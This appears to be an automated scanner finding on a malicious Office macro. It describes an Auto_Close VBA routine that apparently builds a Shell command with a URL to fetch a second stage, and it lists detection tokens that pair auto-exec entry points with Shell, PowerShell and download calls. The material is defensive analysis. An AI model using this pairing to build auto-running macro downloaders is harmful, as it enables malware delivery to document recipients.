T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristic 'OLE_VBA_SHELL' and the high heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC' indicate the presence of a potentially malicious Shell call within the VBA macros. The Auto_Close macro attempts to construct and execute a command string, which includes launching 'WINWORD' and concatenating a URL. This suggests the macro is designed to download and execute a second-stage payload.

  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
